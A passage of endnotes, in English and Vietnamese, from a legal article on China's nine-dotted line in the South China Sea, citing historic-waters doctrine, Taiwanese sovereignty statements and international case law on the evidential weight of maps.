Georg RESS, ‘‘The Delimitation and Demarcation of Frontiers in International Treaties and Maps’’ (1985) 14 Thesaurus Acroasium 435 at 443.</div> <div> </div> <div> [25] Dzurek, supra note 3 at 13.</div> <div> </div> <div> [26] Policy Guidelines for the South China Sea, Point 1, 10 March 1993, in SUN Kuan-Ming, ‘‘Policy of the Republic of China Towards the South China Sea: Recent Developments’’ (1995) 19 Marine Policy 401 at 408 (Annex I).</div> <div> </div> <div> [27] Dzurek, supra note 3 at 13.</div> <div> </div> <div> [28] Republic of China (Taiwan), Statement (1 July 1999), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52353&ctNode51902&mp56.</div> <div> </div> <div> [29] PAN Shiying, ‘‘South China Sea and the International Practice of the Historic Title’’, Conference on the South China Sea, American Enterprise Institute, Washington, 7–9 September 1994, referenced in ZOU Keyuan, ‘‘Historic Rights in International Law and in China’s Practice’’ (2001) 32 Ocean Development and International Law 149 at 161, note 97; SONG Yann-huei and Peter Kien-hong YU, ‘‘China’s ‘Historic Waters’ in the South China Sea: An Analysis from Taiwan, R.O.C.’’ (1994) 12 American Asian Review 83.</div> <div> </div> <div> [30] ZHAO Guocai, ‘‘Analysis of the Sovereign Dispute over the Spratlys under the Present Law of Sea’’ (1999) 9 Asian Review at 22 (in Chinese), translated in Li and Li, supra note 4 at 293. Tuy nhiên, cần nêu rõ rằng không phải mại chuyên gia pháp lý Đài Loan đều ủng hộ các tiếp cận yêu sách vùng nước lịch sử dù có lập trường chính thức của chính phủ của họ. Xem ZOU Keyuan, ‘‘China and Maritime Boundary Delimitation: Past, Present and Future’’ in Amer and Zou, eds., supra note 15, at 160.</div> <div> </div> <div> [31] . See Andrea GIOIA, ‘‘Historic Titles’’ in Rudiger WOLFRUM, ed., The Max Planck Encyclopedia of Public International Law (Oxford: Oxford University Press, 2008), online: MPEPIL http:// www.mpepil.com.</div> <div> </div> <div> [32] Zou, supra note 33 at 152.</div> <div> </div> <div> [33] Juridical Regime of Historic Waters, Including Historic Bays, Study Prepared by the Secretariat, UN Doc. A/CN.4/143 (1962), (1962) 2 Yearbook of the International Law Commission 1 [Historic Waters Study].</div> <div> </div> <div> [34] Ibid., at 13. Nghiên cứu này còn nêu khả năng về một đòi hỏi thứ tư (biện minh “trên cơ sở nhu cầu kinh tế, an ninh quốc gia, lợi ích sống còn hay một căn cứ tương tự”) nhưng chưa có sự đồng thuận cao về đòi hỏi này. Tuy nhiên, ngưới ta cần phải hoàn thành danh sách này với một đòi hỏi tổng quát hơn rằng quền sở hữu lịch sử phải thật rõ ràng. Xem Ahmed ABOU-EL-WAFA, ‘‘Les différends internationaux concernant les frontières terrestres dans la jurisprudence de la Cour internationale de justice’’ (2010) 343 Collected Courses of the Hague Academy of International Law 9 at 397.</div> <div> </div> <div> [35] Zou, supra note 33 at 161 and references, supra note 25.</div> <div> </div> <div> [36] For a treatment of both positions, xem Historic Waters Study, supra note 36 at 16–19.</div> <div> </div> <div> [37] Xem, chẳng hạn,bằng tiếng Anh, Markus KOTZUR, ‘‘Intertemporal Law’’ in WOLFRUM, ed., supra note 24. Một phân tích chi tiết hơn bằng tiếng Pháp, xem Paul TAVERNIER, Recherches sur l’application dans le temps des actes et des règles en droit international public (problèmes de droit intertemporel ou de droit transitoire) (Paris: Librairie générale de droit et de jurisprudence).</div> <div> </div> <div> [38] See Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ (2000) The Raffles Bulletin of Zoology</div> <div> (Supplement No. 8) 9.</div> <div> </div> <div> [39] Clive Ralph SYMMONS, Historic Waters in the Law of the Sea: A Modern Re-appraisal (Leiden: Nijhoff, 2008) at 17–37. Đưa ra một lập luận tương tự trên cơ sở công trình của Uỷ ban Luật quốc tế về dàn ý của công ước 1958 cũng như trên cơ sở UNCLOS, see Franckx, supra note 22 at 197, and especially note 50.</div> <div> </div> <div> [40] Lần duy nhất TQ được nêu liên quan tới yêu sách lịch sử của Liên Xô cũ đối với Vịnh Peter the Great (Symmons, supra note 42 at 144).</div> <div> </div> <div> [41] Tullio SCOVAZZI, ‘‘Book Review of ‘Historic Waters in the Law of the Sea: A Modern Re-appraisal by Clive Ralph Symmons, Leiden, Martinus Nijhoff, 322 pp., 2008’ ’’ (2010) 25 International Journal of Marine and Coastal Law 637 at 642. See also ibid., at 639–40 and in the same sense Symmons, supra note 42, at 242–5, 299–300. Continental Shelf (Tunisia/Libyan Arab Jamahiriya), [1982] I.C.J. Rep. 18 at 73–4:</div> <div> Không có định nghĩa về khái niệm lẫn nghiên cứu về chế độ pháp lý của ‘‘vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’. Tuy nhiên, có các quy chiếu về ‘‘vịnh lịch sử’’ hay ‘‘quyền sở hữu lịch sử’’ hay các lí lẽ lịch sử theo hướng tạo nên một bảo lưu cho các quy tắc xác lập từ đó trở đi. Vấn đề này dường như rõ ràng tiếp tục bị điều tiết bởi luật quốc tế chung, luật này không đưa ra một” chế độ” đơn nhất cho ‘‘các vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’, nhưng chỉ cho một chế độ đặc biệt cho mỗi trường hợp cụ thể đã được thừa nhận về “vùng nước lịch sử” hay “vịnh lịch sử”.</div> <div> </div> <div> [42] Lập luận này được đưa ra trong WU Fengbing, ‘‘Historical Evidence of China’s Ownership of the Sovereignty over the Spratly Islands’’ in China Institute for Marine Development Strategy, ed., Selected Papers of the Conference on the South China Sea Islands (Beijing: Ocean Press, 1992) at 111 (in Chinese), referenced in Zou, supra note 33 at 161, note 98.</div> <div> </div> <div> [43] Nói chung, xem Franckx, Benatar, Joe, and Van den Bossche, supra note 2. Nói cụ thể hơn về Biển Đông, xem NGUYEN Hong Thao, Le Vietnam et ses différends maritimes dans la Mer de Bien Dong (Mer de Chine méridionale) (Paris: Pedone, 2004) at 258.</div> <div> </div> <div> [44] Như đã nêu ở supra note 2, Vietnam gọi khu vực này là ‘‘Biển Đông’’ (‘‘East Sea’’). Xem National Border Committee under the Ministry of Foreign Affairs of Vietnam, online: National Border Committee www.biengioilanhtho.gov.vn/bbg-vie/home.aspx.</div> <div> </div> <div> [45] International Hydrographic Organization, Limits of Oceans and Seas, 3rd ed. (Monte-Carlo: Imp. Mone´gasque, 1953) at preface and 30, online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-23/S23_1953.pdf. Old maps also use this denomination merely due to the fact that historically European navigators encountered predominantly Chinese ships. See Y. LACOSTE, ‘‘Mer de Chine ou mer de l’Asie du Sud-Est’’ (1981) 24 Hérodote at 13, referenced in Nguyen, supra note 46 at 257</div> <div> </div> <div> [46] Nguyen, supra note 46 at 257.</div> <div> </div> <div> [47] Republic of China (Taiwan), ‘‘Statement of the Ministry of Foreign Affairs concerning the Declaration on the Conduct of Parties in the South China Sea signed by the Association of Southeast Asian Nations (ASEAN) and the People’s Republic of China (PRC) in Cambodia on November 4, 2002’’ (5 November 2002), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52357&ctNode51902&mp56:</div> <div> Chính phủ THDQ tái khẳng định chủ quyền lãnh thổ trên quần đảo Đông Sa (quần đảo Pratas), Tây Sa (quần đảo Hoàng Sa), Trung Sa (bãi cạn Macclesfield) và Nam Sa (Trường Sa) trong Biển Đông, Đối với các quần đảo này THDQ có tất cảquyền hợp pháp theo luật quốc tế;</div> <div> Republic of China (Taiwan), ‘‘The Position of the Ministry of Foreign Affairs on Taiwan’s Sovereignty over Islands in the South China Sea’’ (20 November 2007), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem527782&ctNode51903&mp56.</div> <div> Quần đảo Trường Sa, quần đảo Hoàng Sa, bãi Macclesfield và quần đảo Pratas luôn luôn là phần cố hữu của các vùng lãnh thổ Đài Loan, dù nhìn từ quan điểm của lịch sử địa lý, pháp luật quốc tế hay thực tế đơn giản. Theo các nguyên tắc của luật pháp quốc tế, chủ quyền đối với các quần đảo này của chính phủ Đài Loan là không thể nghi ngờ và Đài Loan hưởng tất cả các quyền tương ứng;</div> <div> Republic of China (Taiwan), ‘‘The Government of the Republic of China (Taiwan) Reiterates its Sovereignty over the Spratly Islands and has Proposed a Spratly Initiative that Focuses on Environmental Protection Instead of Sovereignty Disputes’’ (15 August 2008), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem532920&ctNode51903&mp56: </div> <div> Quần đảo Trường Sa, bao gồm cả rạn san hô Swallow (đảo san hô Layang-Layang), nằm trong vùng lãnh hải của Đài Loan. Dù theo quan điểm pháp lý, lịch sử địa lý hoặc luật quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas và các vùng nước lân cận là một phần của lãnh thổ và lãnh hải của Đài Loan;</div> <div> Republic of China (Taiwan), ‘‘Solemn Declaration of the Ministry of Foreign Affairs of the Republic of China concerning the Philippine Senate Bill 2699 and House Bill 3216’’ (6 February 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem536914&ctNode51902&mp56:</div> <div> Dù từ góc độ lịch sử, địa lý, thực tế hay luật pháp quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas, cũng như các vùng biển xung quanh, là các vùng lãnh thổ hiện hữu của THDQ. Sự kiện rằng chủ quyền của các khu vực này thuộc về chính phủ của chúng tôi là không thể phủ nhận, Đài Loan được hưởng và xứng đáng với tất cả các quyền tương ứng. Bất kỳ yêu sách chủ quyền nào đối với, hoặc sự chiếm cứ, các quần đảo này và vùng nước xung quanh sẽ không được chính phủ THDQ thừa nhận.</div> <div> </div> <div> [48] Republic of China (Taiwan), ‘‘Declaration of the Republic of China on the Outer Limits of Its Continental Shelf, no 003’’ (12 May 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/content.asp?cuItem538077&ctNode51036&mp56.</div> <div> </div> <div> [49] Hasjim DJALAL, ‘‘Conflicting Territorial and Jurisdictional Claims in South China Sea’’ (1979) 7(1) The Indonesian Quarterly 36 at 41–2.</div> <div> </div> <div> [50] Robert W. SMITH, ‘‘Maritime Delimitation in the South China Sea: Potentiality and Challenges’’ (2010) 41 Ocean Development and International Law 214 at 224. Xem thêm GAO Zhiguo, ‘‘The South China Sea: From Conflict to Cooperation?’’ (1994) 25 Ocean Development and International Law 345 at 346: ‘‘nghiên cứu tỉ mỉ các tài liệu Trung Quốc cho thấy rằng Trung Quốc không bao giờ tuyên bố chủ quyền toàn bộ cột nước của vùng biển Biển Đông mà chỉ là các đảo và vùng biển xung quanh bên trọng đường này.’’ Xem thêm phát biểu của Wang Xiguang (Uông Hi Quang), người đã giúp Cục Địa lý Bộ Nội Chính trong việc chế tác các bản đồ trong những năm 1940 và dùng cùng một kỹ thuật nhưng đi đến một kết quả khác: ‘‘đường biên giới quốc qia chấm chấm được vẽ như là trung tuyến giữa TQ và các nước liền kề’’, trong XU Sen’an, ‘‘The Connotation of the 9-Dotted Line on the Chinese Map of the South China Sea’’ trong ZHONG Tianxiang, ed., Paper Selections of the Seminar on ‘‘The South China Sea in the 21st Century: Problems and Perspective’’ (Hainan Research Center of the South China Sea, 2000) at 80 (in Chinese), translated in Li and Li, supra note 4 at 290.</div> <div> </div> <div> [51] Dzurek, supra note 3 at 11.</div> <div> </div> <div> [52] Một quyển sách nói về cách giải quyết các vần đề này , xem Monique CHEMILLIER-GENDREAU, Sovereignty over the Paracel and Spratly Islands (The Hague: Kluwer Law International, 2000).</div> <div> </div> <div> [53] Anna RIDDELL and Brendan PLANT, Evidence Before the International Court of Justice (London: British Institute of International and Comparative Law, 2009) at 31.</div> <div> </div> <div> [54] Frontier Dispute (Burkina Faso/Republic of Mali), [1986] I.C.J. Rep. 554 at 582, para. 54.</div> <div> </div> <div> [55] Kasikili/Sedudu Island (Botswana/Namibia), [1999] I.C.J. Rep. 1045 at 1098, para. 84, nêu: “Tòa án sẽ bắt đầu bằng việc nhắc lại những gì mà Ban thẩm phán (Chamber) xử vụ tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) phải nói về giá trị chứng cứ của bản đồ”; Tranh chấp lãnh thổ và biển giữa Nicaragua and Honduras trong biển Caribbean (Nicaragua v. Honduras), [2007] I.C.J. Rep. 659 at 723, para. 215, nêu: “Toà án tái khẳng định lập trường của họ trước đây liên quan đến phạm vi vô cùng hạn chế của bản đồ như là một nguồn về quyền sở hữu chủ quyền”; Tranh chấp biên giới (Benin/Niger), [2005] I.C.J. Rep. 90 at 119–20, para. 44, nêu: “nguyên tắc này [như mô tả trong tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) cũng sẽ hướng dẫn Ban Thẩm phán trong việc đánh giá các bản đồ mà các Bên trong trường hợp hiện tại dựa vào”; Sovereignty over Pulau Ligitan and Pulau Sipadan (Indonesia/Malaysia), [2002] I.C.J. Rep. 625 at 667, para. 88; Maritime Delimitation and Territorial Questions between Qatar and Bahrain (Qatar v. Bahrain), Separate Opinion of Judge Kooijmans, [2001] I.C.J. Rep. 225 at 242, para. 68.</div> <div> </div> <div> [56] Patrick DAILLIER, Mathias FORTEAU, and Alain PELLET, Droit international public, 8th ed. (Paris: L.G.D.J., 2009) at 524, para. 301.</div> <div> </div> <div> [57] Một bàn luận về khả năng hạn chế này, xem Maurice KAMTO, ‘‘Le matériau cartographique dans les contentieux frontaliers et territoriaux internationaux’’ in Emile YAKPO and Tahar BOUMEDRA, eds., Liber Amicorum Judge Mohammed Bedjaoui (The Hague: Kluwer, 1999) at 371–98.</div> <div> </div> <div> [58] Riddell and Plant, supra note 56 at 266.</div> <div> </div> <div> [59] ZHAO Lihai, Studies on the Law of Sea (Beijing: Beijing University Press, 1996) at 37 (in Chinese), translated in Li and Li, supra note 4 at 291.</div> <div> </div> <div> [60] JIAO Yongke, ‘‘There Exists No Question of Redelimiting Boundaries in the Southern Sea’’ (2000) 17 Ocean Development and Management at 52 (in Chinese), translated in Michael STRUPP, ‘‘Maritime and Insular Claims of the PRC in the South China Sea under International Law’’ (2004) 11 Zeitschrift fu¨ r chinesisches Recht 1 at 16.</div> <div> </div> <div> [61] Zou, supra note 33 at 160.</div> <div> </div> <div> [62] Grisbadarna Case (Norway v. Sweden), Decision of 23 October 1909, [1910] 4 American Journal of International Law 226 at 231, nêu rằng: ‘‘lãnh hải là thứ phụ thuộc chính yếu của lãnh thổ đất liền’’ (translation from the original French, [2006] XI Reports of International Arbitral Awards 159); North Sea Continental Shelf (Federal Republic of Germany/Denmark; Federal Republic of Germany/Netherlands), [1969] I.C.J. Rep. 3 at 51, para. 96: ‘‘Trong cả hai trường hợp [vùng tiếp giáp lãnh hải và thềm lục địa] nguyên tắc được áp dụng là đất thống trị biển’’. Nghiên cứu sâu hơn và các trường hợp của nguyên tắc này, xem Abou-el-Wafa, supra note 37 at 88–90.</div> <div> </div> <div> [63] Fisheries Case (United Kingdom v. Norway), [1951] I.C.J. Rep. 116 at 132.</div> <div> </div> <div> [64] UNCLOS, supra note 12, has been ratified by all interested parties in the South China Sea dispute with the exception of Taiwan (Vietnam: 25 July 1994, PRC: 7 June 1996, Philippines: 8 May 1984,Malaysia: 14 October 1996, Brunei: 5 November 1996, Myanmar: 21 May 1996, and Thailand: 15 May 2011), online: UN http://www.un.org/Depts/los/reference_files/chronological_lists_of_ratifications.htm.</div> <div> </div> <div> [65] Ibid.</div> <div> </div> <div> [66] Một cách tiếp cận mới giới hạn đáng kể khả năng áp dụng ngoại lệ củaĐiều 121(3) đối với việc phân giới trên biển, xem Bernard H. OXMAN, ‘‘On Rocks and Maritime Delimitation’’ in Mahnoush H. ARSANJANI, Jacob Katz COGAN, Robert D. SLOANE, and Siegfried WIESSNER, eds., Looking to the Future: Essays on International Law in Honor of W. Michael Reisman (Leiden/Boston: Martinus Nijhoff, 2011), 893. Theo lý luận của tác giả, những tranh cãi liên quan đến ý nghĩa chính xác của việc cư trú của con người và đời sống kinh tế sẽ ít quan trọng hơn, bởi vì trong giai đoạn phân giới các đảo nhỏ thường chỉ đóng một vai trò nhỏ.</div> <div> </div> <div> [67] Alex G. Oude ELFERINK, ‘‘The Islands in the South China Sea: How Does Their Presence Limit the Extent of the High Seas and the Area and the Maritime Zones of the Mainland Coasts?’’ (2001) 32 Ocean Development and International Law 169 at 182. See also Marius GJETNES, ‘‘The Spratlys: Are They Rocks or Islands?’’ (2001) 32 Ocean Development and International Law 191 at 199–201; Barry Hart DUBNER, ‘‘The Spratly ‘Rocks’ Dispute: A ‘Rockapelago’ Defies Norms of International Law’’ (1995) 9 Temple International and Comparative Law Journal 291 at 299–306.</div> <div> </div> <div> [68] Nó liên quan đến những hành động do TQ thực hiện bởi để đưa vào các mục bổ sung cho chương trình nghị sự tại cuộc họp năm 2009 của các nước thành viên UNCLOS và kỳ họp lần thứ 15 của Cơ quan đáy biển quốc tế (ISA) một năm sau đó. Xem Erik FRANCKX, ‘‘The International Seabed Authority and the Common Heritage of Mankind: The Need for States to Establish the Outer Limits of Their Continental Shelf’’ (2010) 25 International Journal of Marine and Coastal Law 543 at 563–4. Những nỗ lực như vậy được lặp vào thời điểm Hội nghị của các nước thành viên UNCLOS năm 2011 nhưng không lặp lại tại cuộc họp lần của ISA khoảng một tháng sau đó.</div> <div> </div> <div> [69] Như chỉ rõ qua danh nghĩa đại diện của giáo sư Jia Yu, đưa ra trong một buổi báo cáo tóm tắt của ISA năm 2009. Mặc dù đóng góp này có tiêu đề là ‘‘Safeguarding the Common Heritage of Mankind’’(Bảo vể di sản chung của loài người) trong công bố cho báo chí của ISA (ISA, ‘‘Press Release SB/15/10’’ (June 2009) at 3, online: ISA http://www.isa.org.jm/files/documents/EN/Press/Press09/SB-15–10.pdf), các phim chiếu slides phân phát vào lúc đó tại buổi báo cáo tóm tắt lại có một tiêu đề cụ thể hơn, đó là ‘‘The Rock of Oki-no-Tori Shall Have No EEZ and Continental Shelf’’ (Mỏm đá Okinotori sẽ có EEZ và thềm lục địa mở rộng). Xem thêm Ted McDORMAN, ‘‘The South China Sea after 2009: Clarity of Claims and Enhanced Prospects for Regional Cooperation?’’ (2010) 24 Ocean Yearbook 507 at 514–15. Về chi tiết và các hành động sau này của các bên về mặt này, xem Yann-Huei SONG, ‘‘The Application of Article 121 of the Law of the Sea Convention to the Selected Geographical Features Situated in the Pacific Ocean’’ (2010) 9 Chinese Journal of International Law 663 at 671–4.</div> <div> </div> <div> [70] Indonesia, ‘‘Letter to the Secretary-General of the United Nations—480/POL-703/VII/10’’ (8 July 2010), online: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/idn_2010re_mys_ vnm_e.pdf. Sự liên kết giữa các hành động can thiệp này với Biển Đông được trình bày trong công hàm này như sau:</div> <div> Về mặt này, các phát biểu của các đại diện ưu tú của CHNDTH cũng liên quan đến tình hình ở Biển Đông và do đó thật đúng khi nêu rằng những thể địa lý rất nhỏhoặc ở xa xôi ở Biển Đông không xứng đáng được hưởng vùng đặc quyền kinh tế hay thềm lục địa của riêng mình. Cho phép sử dụng các mỏm đá, các rạn san hô và đảo san hô vòng không có người ở cô lập với đất liền và ở giữa biển khơi như một điểm cơ sở để tạo ra các khu vực biển gây quan ngại tới các nguyên tắc cơ bản của Công ước [1982] và xâm phạm lợi ích chính đáng của cộng đồng toàn cầu. Vì thế,như được chứng thực bởi những phát biểu trên, cái gọi là “bản đồ đường 9 chấm” rõ ràng thiếu cơ sở pháp lý quốc tế và đồng nghĩa với việc đảo lộn… Công ước 1982.</div> <div> </div> <div> [71] Xem bộ phận luật án lệ rộng hơn và ý kiến các học giả nêu trong Gérard NIYUNGEKO, La preuve devant les juridictions internationales (Brussels: Bruylant, 2005) at 322–35, and more recently Case concerning Pulp Mills on the River Uruguay (Argentina v. Uruguay), [2010] I.C.J. Rep. 1 at 52, para. 168.</div> <div> </div> <div> [72] Raphae¨le RIVIER, ‘‘La preuve devant les juridictions interetatiques à vocation universelles (CIJ et TIDM)’’ in Hélène Ruiz FABRI and Jean-Marc SOREL, eds., La preuve devant les juridictions internationales (Paris: Pedone, 2007), 9 at 38–48. More generally, judicial bodies select the facts they deem pertinent in a discretionary manner. Xem Jean SALMON, ‘‘Le fait dans l’application du droit international’’ (1982) 175 Collected Courses of the Hague Academy of International Law 261 at 300. For a critical approach to the freedom of judges with respect to weighing evidence, see Rudiger WOLFRUM, ‘‘Taking and Assessing Evidence in International Adjudication’’ in Tafsir Malick NDIAYE and Rudiger WOLFRUM, eds., Law of the Sea, Environmental Law and Settlement of Disputes: Liber Amicorum Judge Thomas A. Mensah (Leiden: Martinus Nijhoff, 2007), 341 at 342; Patrick KINSCH, ‘‘On the Uncertainties Surrounding the Standard of Proof in Proceedings before International Courts and Tribunals’’ in Gabriella VENTURINE and Stafania BARIATTI, eds., Liber Fausto Pocar—Diritti individuali e giustizia internazionale, vol. 1 (Milan: Giuffre`, 2009), 427 at 438–9; Chittharanjan F. AMERASINGHE, Evidence in International Litigation (Leiden: Martinus Nijhoff, 2005) at 232–61.</div> <div> </div> <div> [73] Mặc dù không có học thuyết về việc dựa vào tiền lệ (stare decisis) trong luật quốc tế, tòa và tòa án quốc tế thường trích dẫn luật án lệ. Điều này đặc biệt đúng đối với ICJ, là toà có tính tự tham chiếu cao độ và sẽ chỉ đi chệch khỏi án lệ trong quá khứ khi có các lý do đáng kể. Xem Alan BOYLE and Christine CHINKIN, The Making of International Law (Oxford: Oxford University Press, 2007) at 293–9; Gilbert GUILLAUME, ‘‘The Use of Precedent by International Judges and Arbitrators’’ (2011) 2 Journal of International Dispute Settlement 5 at 12.</div> <div> </div> <div> [74] Frontier Dispute, supra note 57 at 582, para. 55, nêu: ‘‘trọng lượng phân cho các bản đồ với tư cách bằng chứng phụ thuộc vào một số lớn các cân nhắc”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Berna´rdez at 274, para. 37, stating: ‘‘[t]he weight of maps as evidence depends on a range of considerations.’’</div> <div> </div> <div> [75] Xem Case concerning the Delimitation of Maritime Boundary between Guinea-Bissau and Senegal (Guinea- Bissau/Senegal), Decision of 31 July 1989, Dissenting Opinion of Mr. Mohammed Bedjaoui, [2006] XX Reports of International Arbitral Awards 119 at 166–9, paras. 32–7 (lập luận chống lại một chuyển vị tự động các nguyên tắc lãnh thổ sang phân định biển cho các khác biệt “hiển nhiên” và “không thể giảm hơn” về mặt địa lý, mối quan hệ của chúng với các quyền của các dân tộc và các quốc gia quyền đối với các vùng này); Lea BRILMAYER and Natalie KLEIN, ‘‘Land and Sea: Two Common Sovereignty Regimes in Search of a Common Denominator’’ (2001) 33 New York University Journal of International Law and Politics 703 at 703–4 (noting 15 </div> <div> </div> <div> [76] Xem các ví dụ về các vụ liên quan một phần đến các tranh chấp trên biển, supra note 58 citing a passage from Frontier Dispute (Burkina Faso/Republic of Mali) (which is a territorial case).</div> <div> 80. Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 stating: ‘‘only with the greatest caution can account be taken of maps in deciding a question of sovereignty’’, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para.</div> <div> </div> <div> [77] Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 nêu: “Chỉ với sự thận trọng lớn nhất các bản đồ có thể được xét tới trong việc quyết định vấn đề chủ quyền”, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para. 214; Territorial Sovereignty and Scope of the Dispute (Eritrea/Yemen), Decision of 9 October 1998, [2006] XXII Reports of International Arbitral Awards 209 at 296, para. 388, nêu: “như trong tất cả các trường hợp về bản đồ, bằng chứng phải được xử lý thât tinh tế”. For an opposing view calling into question the reluctant approach of international adjudicators vis-à-vis cartographic evidence, see Romulo R. UBAY Jr, ‘‘Evidence in International Adjudication: Map Evidence in Territorial Sovereignty Dispute Cases’’ (2011) 1 Aegean Review of the Law of the Sea and Maritime Law 287.</div> <div> </div> <div> [78] Arbitration Between Great Britain and Portugal as Regards Questions Relative to the Delimitation of their Spheres of Influence in East Africa (Manica plateau) (United Kingdom/Portugal), Decision of 30 January 1897, [2007] XXVIII Reports of International Arbitral Awards 283 at 298.</div> <div> </div> <div> [79] Indo-Pakistan Western Boundary (Rann of Kutch) between India and Pakistan (India v. Pakistan), Award of 19 February 1968, Proposal of Mr. Nasrollah Entezam, [2006] XVII Reports of International Arbitral Awards 1 at 505, nêu: “bản đồ chỉ bằng chứng phụ. Chỉ có bản đồ được chuẩn bị bởi người giám định ngay tại chỗ bằng cách quan sát mới là bằng chứng chính. Thầm chí chúng là bằng chứng chính chỉ cho những điều mà người giám định có thể tự mình quan sát”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Bernardez at 274, para. 37, nêu: “ nói chung, giá trị như là bằng chứng do toà và toà án quốc tế gắn cho chúng là có tính củng cố hay xác nhận cho các kết luận đã được rút ra từ các phương cách khác không dính dáng tới các bản đồ, vì các bản đồ như thế không có danh nghĩa pháp lý”; Island of Palmas, supra note 80 at 853–4, nêu: “dù sao đi nữa, bản đồ chỉ có khả năng đưa ra một chỉ định - và đó là một chỉ định rất gián tiếp - và trừ khi được kèm theo một công cụ pháp lý, không có giá trị của một công cụ như vậy, liên quan đến công nhận hoặc từ bỏ quyền”; ibid., at 853: Nếu trọng tài hài lòng về sự tồn tại của các sự kiện pháp lý có liên quan nhưng các sự kiện này lại mâu thuẫn với lời khai của những người vẽ bản đồ có nguồn thông tin không biết rõ, ông ta có thể sẽ không gán trọng lượng nào cho các bản đồ, tuy các bản đồ này rất nhiều và thường có thể được đánh giá cao.</div> <div> </div> <div> [80] Frontier Dispute, supra note 57 at 583, para. 56. Xem thêm The Government of Sudan/The Sudan People’s Liberation Movement/Army (Abyei Arbitration), Final Award of 22 July 2009, online: PCA http://www.pca-cpa.org at 256, para. 741:</div> <div> Toà án tương tự như vậy rất miễn cưỡng để cân bằng biên giới Đông và Tây của khu vực do Ngok Dinka chiếm đóng chuyển giao vào năm 1905 với mô tả bằng bút chì năm 1933 về khu vực chăn thả gia súc mùa khô của Ngok Dinka trên một bản đồ vẽ phác, đặc biệt là khi toà đã có bằng chứng toàn diện và cụ thể hơn.</div> <div> </div> <div> [81] Sakeus AKWEENDA, ‘‘The Legal Significance of Maps in Boundary Questions: A Reappraisal with Particular Emphasis on Namibia’’ (1990) 60 British Yearbook of International Law 205 at 212; A.O. CUKWURAH, The Settlement of Boundary Disputes in International Law (Manchester: Manchester University Press, 1967) at 224–5; Hyde, supra note 27 at 313–15; Victor PRESCOTT and Gillian D. TRIGGS, International Frontiers and Boundaries: Law, Politics and Geography (Leiden: Nijhoff, 2008) at 194–5; Durward V. SANDIFER, Evidence before International Tribunals, 2nd ed. (Charlottesville: University Press of Virginia, 1975) at 235; Guenter WEISSBERG, ‘‘Maps as Evidence in International Boundary Disputes: A Reappraisal’’, (1963) 57 American Journal of International Law 781 at 781.</div> <div> </div> <div> [82] E.g., Ian BROWNLIE, The Rule of Law in International Affairs: International Law at the Fiftieth Anniversary of the United Nations (The Hague: Martinus Nijhoff, 1998) at 156.</div> <div> </div> <div> [83] Manfred LACHS, ‘‘La preuve et la Cour internationale de Justice’’ in Chaı¨m PERELMAN and Paul FORIERS, eds., La preuve en droit (Brussels: Bruylant, 1981), 109 at 109.</div> <div> </div> <div> [84] Mức phù hợp trong bản đồ không cần phải luôn luôn là tuyệt đối, nhưng nó phải phù hợp trên tổng quát.. Abouel- Wafa, supra note 37 at 432–4.</div> <div> </div> <div> [85] Kasikili/Sedudu Island, supra note 58 at 1100, para. 87; see also Dubai/Sharjah Border Arbitration (Dubai v. Sharjah), Award of 19 October 1981, [1993] 91 International Law Reports 543 at 630, para. 168:</div> <div> Theo quan điểm của Toà án cần phải dẹp sang một bên cả hai bản đồ do ông Walker chuẩn bị, xét về vị trí của Hadlib Azana, vì, mặc dù được chuẩn bị bởi cùng một người, chúng lại mâu thuẫn lẫn nhau về đường ranh giới chung trong khu vực này. Suy đoán thêm về các lý do có thể có cho một mâu thuẫn như vậy là chuyện vô ích.</div> <div> Eritrea/Yemen Arbitration, supra note 80 at 296, para. 388:</div> <div> Các bằng chứng cho thời kỳ này bị vây bủa với các mâu thuẫn và sự không chắc chắn. Mỗi bên đã thể hiện sự không thống nhất trong các bản đồ chính thức của mình. Tuy nhiên, xu hướng chung là bằng chứng bản đồ củaYemen là vượt trội về phạm vi và khối lượng so với Eritrea. Tuy nhiên, trọng lượng như vậy có thể được gắn vào bản đồ bằng chứng ủng hộ của một bên được cân bằng bởi thực tế là mỗi bên đã công bố những bản đồ có vẻ đi ngược với khẳng định của mình trong các thủ tục tố tụng.</div> <div> Delimitation of the Border Between the State of Eritrea and the Federal Democratic Republic of Ethiopia (Eritrea-Ethiopia Boundary Commission), Decision of 1 January 2002, [2002] 41 International Legal Materials 1057 at 1089, para. 4.67:</div> <div> Bằng chứng bản đồ là không đồng nhất và nhất quán. Phần lớn hỗ trợ sự tồn tại của một phóng chiếu của Belesa và gán lãnh thổ bên trong nó cho Eritrea. Tuy nhiên, có nhiều bản đồ không làm như vậy, hoặc chỉ làm như vậy một phần</div> <div> </div> <div> [86] Tuy nhiên xem Separate World’s Geography (Chinese Ya Guang Geographic Publisher, 1951) at 18 (Bản dồ nước Cộng hoà), trong đó chỉ có khoảng nửa số vạch được thể hiện [bản đồ TQ 1951].</div> <div> </div> <div> [87] Xem Chinese State Bureau of Surveying and Mapping, Map World, online: Map World http://www.chinaonmap.cn. Bản đồ này được in lại một phần trong Phụ lục II ở cuối bài viết này.</div> <div> </div> <div> [88] Vì vậy, về mặt kỹ thuật hình như chính xác hơn khi nói đường 